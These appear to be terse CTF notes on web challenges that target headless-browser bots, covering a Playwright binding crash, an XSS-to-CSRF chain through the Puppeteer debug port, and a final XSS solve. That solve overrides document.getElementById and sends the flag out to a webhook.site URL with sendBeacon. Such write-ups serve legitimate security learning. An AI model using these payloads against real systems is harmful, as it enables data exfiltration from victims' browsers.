| Event Name | Haix la Chapelle |
|---|---|
| GitHub URL | - |
| Challenge Name | no-internet-for-you |
The challenge idea is based on finding this issue: https://github.com/puppeteer/puppeteer/issues/13840
Unitended, use window.**playwright__binding**("foobar") for crashing the playwringt and do leak from there
| Event Name | UniVsThreats CTF 2025 |
|---|---|
| GitHub URL | - |
| Challenge Name | Backrooms |
it's xss -> csrf -> local file xss using pupetter debug port for csrf part i use iframe with sandbox to create null origin page
puppeter you can change document element like this
ASIS CTF 2023 https://gist.github.com/arkark/5211049988c14af0e3450ff04acfc2a3#web-pupptear
await page.goto(url,{ timeout: 2000 }); await page.waitForFunction(flag=>{
let el = document.getElementById('flag')
if(!el) return false el.value = flag
return true },{ timeout: 2000 },flag)
solve:
<body><script>const HOOK_URL = "<https://webhook.site/xxx>";let sent = false;function hook() {
if (sent) return; sent = true; const e = new Error(); navigator.sendBeacon(HOOK_URL, e.stack);}
document.getElementById = hook;</script></body>